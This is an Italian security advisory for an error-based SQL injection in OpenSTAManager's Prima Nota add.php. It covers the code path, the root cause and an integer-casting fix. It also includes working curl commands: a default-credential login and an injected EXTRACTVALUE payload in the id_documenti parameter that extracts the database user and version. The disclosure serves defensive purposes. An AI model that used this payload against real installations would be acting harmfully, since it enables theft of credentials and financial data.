
CVE-2026-24419 - OpenSTAManager presenta una SQL Injection nel modulo Prima Nota
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-24419 |
| Gravità | ALTA |
| Avviso | Visualizza l'avviso |
| Scoperto da | Lukasz Rybak |
La vulnerabilità critica di tipo Error-Based SQL Injection nel modulo Prima Nota (Registrazione contabile) di OpenSTAManager v2.9.8 consente ad attaccanti autenticati di estrarre l'intero contenuto del database, incluse credenziali utente, dati personali dei clienti e registri finanziari, tramite messaggi di errore XML, iniettando SQL malevolo nei parametri URL.
Stato: ✅ Confermata e testata su un'istanza live (v2.9.8)
Parametri vulnerabili: id_documenti (parametri GET)
Endpoint interessato: /modules/primanota/add.php
Tipo di attacco: Error-Based SQL Injection (clausola IN)
OpenSTAManager v2.9.8 contiene una vulnerabilità critica di Error-Based SQL Injection nel file add.php del modulo Prima Nota (Registrazione contabile). L'applicazione non valida che i valori separati da virgola provenienti dai parametri GET siano interi prima di utilizzarli nelle clausole SQL IN(), consentendo agli attaccanti di iniettare comandi SQL arbitrari ed estrarre dati sensibili tramite messaggi di errore XPATH.
Catena della vulnerabilità:
Punto di ingresso: /modules/primanota/add.php (Righe 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Impatto: La funzione get() recupera parametri URL controllati dall'utente, explode(',', (string) ...) li suddivide per virgola, ma NESSUNA validazione garantisce che gli elementi siano interi.
Punto di iniezione SQL: /modules/primanota/add.php (Riga 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Impatto: Gli elementi dell'array $id_documenti vengono concatenati direttamente tramite implode() senza validazione dei tipi o prepare(), consentendo l'iniezione SQL completa.
Analisi della causa principale:
La vulnerabilità esiste perché:
get('id_documenti') restituisce stringhe controllate dall'utenteexplode(',', (string) $value) suddivide per virgola ma non valida i tipiimplode(',', $array) concatena gli elementi dell'array direttamente in SQL?id_documenti=1) AND EXTRACTVALUE(...) %23Percorso del codice interessato:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NESSUNA VALIDAZIONE DEL TIPO]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [PUNTO DI INIEZIONE]
Passo 1: Accesso
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Passo 2: Verifica della vulnerabilità (Error-Based SQL Injection)
Test 1: Estrazione dell'utente del database e della versione
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Risposta (messaggio di errore visibile all'attaccante):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Tutti gli utenti autenticati con accesso al modulo Prima Nota (Registrazione contabile).
Correzione principale - Validazione dei tipi:
File: /modules/primanota/add.php
PRIMA (Vulnerabile - Righe 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
DOPO (Corretto):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Scoperto da Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui sono esclusivamente a scopo educativo e difensivo.